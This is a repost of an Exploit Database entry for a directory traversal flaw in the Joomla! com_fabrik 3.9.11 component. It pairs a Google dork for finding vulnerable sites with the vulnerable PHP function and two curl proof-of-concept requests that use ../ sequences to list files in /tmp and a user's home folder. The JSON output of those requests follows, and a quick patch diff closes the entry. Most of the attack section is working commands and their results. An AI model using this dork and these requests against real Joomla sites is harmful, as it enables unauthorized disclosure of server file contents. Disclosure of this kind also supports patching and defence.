Joomla! com_fabrik 3.9.11 – Directory Traversal

Exploit Database
120 阅读

作者： qw3rTyTy

日期： 2020-03-30
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/48263/

# Exploit Title: Joomla! com_fabrik 3.9.11 - Directory Traversal

#Google Dork: inurl:"index.php?option=com_fabrik"

#Date: 2020-03-30

#Exploit Author: qw3rTyTy

#Vendor Homepage: https://fabrikar.com/

#Software Link: https://fabrikar.com/downloads

#Version: 3.9

#Tested on: Debian/Nginx/Joomla! 3.9.11

##################################################################

#Vulnerability details

##################################################################

File: fabrik_element/image/image.php

Func: onAjax_files

394public function onAjax_files()

395{

396$this->loadMeForAjax();

397$folder = $this->app->input->get('folder', '', 'string'); //!!!Possible to directory-traversal.

398

399if (!strstr($folder, JPATH_SITE))

400{

401$folder = JPATH_SITE . '/' . $folder;

402}

403

404$pathA = JPath::clean($folder);

405$folder = array();

406$files = array();

407$images = array();

408FabrikWorker::readImages($pathA, "/", $folders, $images, $this->ignoreFolders);

409

410if (!array_key_exists('/', $images))

411{

412$images['/'] = array();

413}

414

415echo json_encode($images['/']);

416}

##################################################################

#PoC

##################################################################

$> curl -X GET -i "http://127.0.0.1/joomla/index.php?option=com_fabrik&task=plugin.pluginAjax&plugin=image&g=element&method=onAjax_files&folder=../../../../../../../../../../../../../../../tmp/"

...snip...

[{"value":"eila.jpg","text":"eila.jpg","disable":false},{"value":"eilanya.jpg","text":"eilanya.jpg","disable":false},{"value":"topsecret.png","text":"topsecret.png","disable":false}]

...snip...

$> curl -X GET -i "http://127.0.0.1/joomla/index.php?option=com_fabrik&task=plugin.pluginAjax&plugin=image&g=element&method=onAjax_files&folder=../../../../../../../../../../../../../../../home/user123/Pictures/"

...snip...

[{"value":"Revision2017_Banner.jpg","text":"Revision2017_Banner.jpg","disable":false},{"value":"Screenshot from 2019-02-23 22-43-54.png","text":"Screenshot from 2019-02-23 22-43-54.png","disable":false},{"value":"Screenshot from 2019-03-09 14-59-22.png","text":"Screenshot from 2019-03-09 14-59-22.png","disable":false},{"value":"Screenshot from 2019-03-09 14-59-25.png","text":"Screenshot from 2019-03-09 14-59-25.png","disable":false},{"value":"Screenshot from 2019-03-16 23-17-05.png","text":"Screenshot from 2019-03-16 23-17-05.png","disable":false},{"value":"Screenshot from 2019-03-18 07-30-41.png","text":"Screenshot from 2019-03-18 07-30-41.png","disable":false},{"value":"Screenshot from 2019-03-18 08-23-45.png","text":"Screenshot from 2019-03-18 08-23-45.png","disable":false},{"value":"Screenshot from 2019-04-08 00-09-36.png","text":"Screenshot from 2019-04-08 00-09-36.png","disable":false},{"value":"Screenshot from 2019-04-08 10-34-23.png","text":"Screenshot from 2019-04-08 10-34-23.png","disable":false},{"value":"Screenshot from 2019-04-13 08-23-48.png","text":"Screenshot from 2019-04-13 08-23-48.png","disable":false},{"value":"Screenshot from 2019-05-24 23-14-05.png","text":"Screenshot from 2019-05-24 23-14-05.png","disable":false},{"value":"b.jpg","text":"b.jpg","disable":false},{"value":"by_gh0uli.tumblr.com-8755.png.jpeg","text":"by_gh0uli.tumblr.com-8755.png.jpeg","disable":false},{"value":"max_payne_06.jpg","text":"max_payne_06.jpg","disable":false},{"value":"xxx.jpg","text":"xxx.jpg","disable":false}]

...snip...

##################################################################

#Q&D Patch (DO NOT USE :3)

##################################################################

--- ./image.php ---

+++ image_patched.php ---

@@ -394,7 +394,7 @@

public function onAjax_files()

{

$this->loadMeForAjax();

- $folder = $this->app->input->get('folder', '', 'string');

+ $folder = $this->app->input->get('folder', '', 'cmd');

if (!strstr($folder, JPATH_SITE))

{